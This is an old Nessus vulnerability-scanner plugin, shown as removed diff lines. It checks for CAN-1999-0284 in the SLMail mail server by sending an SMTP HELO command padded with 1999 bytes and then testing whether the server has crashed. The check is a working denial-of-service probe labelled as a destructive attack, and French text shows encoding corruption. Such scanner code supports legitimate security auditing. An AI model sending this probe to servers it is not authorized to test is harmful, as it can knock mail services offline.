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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10256);
- script_version ("$Revision: 1.19 $");
- script_cve_id("CAN-1999-0284");
-
- name["english"] = "SLMail MTA 'HELO' denial";
- name["francais"] = "DΘni de service 'HELO' contre le MTA SLMail";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- There might be a buffer overflow when this MTA is issued the 'HELO' command
- issued by a too long argument.
-
- This problem may allow an attacker to execute arbitrary code on this computer,
- or to disable your ability to send or receive emails.
-
- Solution : contact your vendor for a patch.
- Risk factor : High";
-
-
- desc["francais"] = "Il y a un dΘpassement
- de buffer lorsque ce MTA recoit la commande
- HELO suivie d'un argument trop long.
-
- Ce problΦme peut permettre α un pirate
- d'executer du code arbitraire sur
- votre machine, ou peut vous empecher
- d'envoyer et de recevoir des messages.
-
- Solution : contactez votre vendeur pour
- un patch.
-
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Overflows the remote SMTP server";
- summary["francais"] = "Overflow le serveur SMTP distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "SMTP problems";
- family["francais"] = "ProblΦmes SMTP";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "sendmail_expn.nasl");
- script_exclude_keys("SMTP/wrapped", "SMTP/postfix");
- script_require_ports("Services/smtp", 25);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
-
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- s = smtp_recv_banner(socket:soc);
- if(!s)exit(0);
- if(!egrep(pattern:"^220 .*", string:s))
- {
- close(soc);
- exit(0);
- }
-
-
- c = string("HELO ", crap(1999), "\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:1024);
- if(!s)
- {
- close(soc);
- soc = open_sock_tcp(port);
- if(soc) s = smtp_recv_banner(socket:soc);
- else s = NULL;
- if(!s)
- {
- set_kb_item(item:string("SMTP/", port, "/helo_overflow"), value:TRUE);
- security_hole(port);
- }
- }
- close(soc);
- }
- }
-